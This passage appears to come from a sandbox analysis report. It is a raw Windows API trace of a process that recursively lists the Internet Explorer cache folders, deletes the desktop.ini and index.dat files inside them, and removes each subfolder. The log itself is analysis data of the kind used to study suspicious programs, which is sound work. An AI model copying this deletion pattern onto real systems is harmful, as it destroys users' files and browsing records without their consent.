returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*.*" [0097.118] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*.*", lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xff9c74a0, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xff9c74a0, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName=".", cAlternateFileName="")) returned 0x4466880 [0097.118] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xff9c74a0, ftLastAccessTime.dwHighDateTime=0x1d3ab19, ftLastWriteTime.dwLowDateTime=0xff9c74a0, ftLastWriteTime.dwHighDateTime=0x1d3ab19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="..", cAlternateFileName="")) returned 1 [0097.118] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="Content.IE5", cAlternateFileName="")) returned 1 [0097.118] lstrlenW (lpString="Content.IE5") returned 11 [0097.118] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", pszFile="Content.IE5" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5" [0097.119] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5") returned 86 [0097.119] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e450 [0097.119] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb6) returned 0x9770f10 [0097.119] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9b6fa00 [0097.119] PathCombineW (in: pszDest=0x9770f10, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*.*" [0097.119] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*.*", lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466400 [0097.119] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.119] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x235727e0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x3e570c75, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0097.119] lstrlenW (lpString="desktop.ini") returned 11 [0097.119] PathCombineW (in: pszDest=0x9a6e450, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini" [0097.119] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\desktop.ini")) returned 1 [0097.119] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x235727e0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xe220fb50, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0097.119] lstrlenW (lpString="index.dat") returned 9 [0097.119] PathCombineW (in: pszDest=0x9a6e450, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5", pszFile="index.dat" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" [0097.119] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat")) returned 0 [0097.119] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x4c45ea10, ftLastAccessTime.dwHighDateTime=0x1d42028, ftLastWriteTime.dwLowDateTime=0x4c45ea10, ftLastWriteTime.dwHighDateTime=0x1d42028, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MM5O9XQS", cAlternateFileName="")) returned 1 [0097.119] lstrlenW (lpString="MM5O9XQS") returned 8 [0097.119] PathCombineW (in: pszDest=0x9a6e450, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5", pszFile="MM5O9XQS" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS" [0097.119] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS") returned 95 [0097.119] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fc60 [0097.119] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xc8) returned 0x9a6e660 [0097.119] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91840 [0097.119] PathCombineW (in: pszDest=0x9a6e660, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\*.*" [0097.119] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\*.*", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x4c45ea10, ftLastAccessTime.dwHighDateTime=0x1d42028, ftLastWriteTime.dwLowDateTime=0x4c45ea10, ftLastWriteTime.dwHighDateTime=0x1d42028, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x71e3c40 [0097.303] FindNextFileW (in: hFindFile=0x71e3c40, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x4c45ea10, ftLastAccessTime.dwHighDateTime=0x1d42028, ftLastWriteTime.dwLowDateTime=0x4c45ea10, ftLastWriteTime.dwHighDateTime=0x1d42028, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.303] FindNextFileW (in: hFindFile=0x71e3c40, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x235727e0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0097.303] lstrlenW (lpString="desktop.ini") returned 11 [0097.303] PathCombineW (in: pszDest=0x9b6fc60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\desktop.ini" [0097.303] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\mm5o9xqs\\desktop.ini")) returned 1 [0097.304] FindNextFileW (in: hFindFile=0x71e3c40, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x235727e0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0097.304] FindClose (in: hFindFile=0x71e3c40 | out: hFindFile=0x71e3c40) returned 1 [0097.304] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0097.304] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e660 | out: hHeap=0x9770000) returned 1 [0097.304] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc60 | out: hHeap=0x9770000) returned 1 [0097.304] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\mm5o9xqs")) returned 1 [0097.395] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x4c484b70, ftLastAccessTime.dwHighDateTime=0x1d42028, ftLastWriteTime.dwLowDateTime=0x4c484b70, ftLastWriteTime.dwHighDateTime=0x1d42028, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMMR5K9K", cAlternateFileName="")) returned 1 [0097.395] lstrlenW (lpString="PMMR5K9K") returned 8 [0097.395] PathCombineW (in: pszDest=0x9a6e450, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5", pszFile="PMMR5K9K" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K" [0097.395] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K") returned 95 [0097.395] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fc60 [0097.395] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xc8) returned 0x9a6e660 [0097.395] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91840 [0097.395] PathCombineW (in: pszDest=0x9a6e660, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\*.*" [0097.395] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\*.*", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x4c484b70, ftLastAccessTime.dwHighDateTime=0x1d42028, ftLastWriteTime.dwLowDateTime=0x4c484b70, ftLastWriteTime.dwHighDateTime=0x1d42028, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7200d30 [0097.405] FindNextFileW (in: hFindFile=0x7200d30, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x4c484b70, ftLastAccessTime.dwHighDateTime=0x1d42028, ftLastWriteTime.dwLowDateTime=0x4c484b70, ftLastWriteTime.dwHighDateTime=0x1d42028, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.405] FindNextFileW (in: hFindFile=0x7200d30, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x235727e0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0097.405] lstrlenW (lpString="desktop.ini") returned 11 [0097.405] PathCombineW (in: pszDest=0x9b6fc60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\desktop.ini" [0097.405] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\pmmr5k9k\\desktop.ini")) returned 1 [0097.406] FindNextFileW (in: hFindFile=0x7200d30, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x235727e0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0097.406] FindClose (in: hFindFile=0x7200d30 | out: hFindFile=0x7200d30) returned 1 [0097.406] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0097.406] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e660 | out: hHeap=0x9770000) returned 1 [0097.406] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc60 | out: hHeap=0x9770000) returned 1 [0097.406] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\pmmr5k9k")) returned 1 [0097.634] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x4c484b70, ftLastAccessTime.dwHighDateTime=0x1d42028, ftLastWriteTime.dwLowDateTime=0x4c484b70, ftLastWriteTime.dwHighDateTime=0x1d42028, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIJUQL1C", cAlternateFileName="")) returned 1 [0097.634] lstrlenW (lpString="RIJUQL1C") returned 8 [0097.634] PathCombineW (in: pszDest=0x9a6e450, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5", pszFile="RIJUQL1C" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C" [0097.634] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C") returned 95 [0097.634] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fc60 [0097.634] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xc8) returned 0x9a6e660 [0097.634] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91840 [0097.634] PathCombineW (in: pszDest=0x9a6e660, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\*.*" [0097.634] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\*.*", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x4c484b70, ftLastAccessTime.dwHighDateTime=0x1d42028, ftLastWriteTime.dwLowDateTime=0x4c484b70, ftLastWriteTime.dwHighDateTime=0x1d42028, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7200fd0 [0097.645] FindNextFileW (in: hFindFile=0x7200fd0, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x4c484b70, ftLastAccessTime.dwHighDateTime=0x1d42028, ftLastWriteTime.dwLowDateTime=0x4c484b70, ftLastWriteTime.dwHighDateTime=0x1d42028, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.645] FindNextFileW (in: hFindFile=0x7200fd0, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x235727e0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0097.645] lstrlenW (lpString="desktop.ini") returned 11 [0097.645] PathCombineW (in: pszDest=0x9b6fc60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\desktop.ini" [0097.645] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\rijuql1c\\desktop.ini")) returned 1 [0097.646] FindNextFileW (in: hFindFile=0x7200fd0, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x235727e0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235727e0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0097.646] FindClose (in: hFindFile=0x7200fd0 | out: hFindFile=0x7200fd0) returned 1 [0097.646] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0097.646] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e660 | out: hHeap=0x9770000) returned 1 [0097.646] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc60 | out: hHeap=0x9770000) returned 1 [0097.646] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\rijuql1c")) returned 1 [0097.655] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x4ce304d0, ftLastAccessTime.dwHighDateTime=0x1d42028, ftLastWriteTime.dwLowDateTime=0x4ce304d0, ftLastWriteTime.dwHighDateTime=0x1d42028, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="X9OHK109", cAlternateFileName="")) returned 1 [0097.655] lstrlenW (lpString="X9OHK109") returned 8 [0097.655] PathCombineW (in: pszDest=0x9a6e450, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5", pszFile="X9OHK109" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109" [0097.655] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109") returned 95 [0097.655] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fc60 [0097.655] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xc8) returned 0x9a6e660 [0097.655] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91840 [0097.655] PathCombineW (in: pszDest=0x9a6e660, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\*.*" [0097.655] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\*.*", lpFindFileData=0x9a91840 | out: 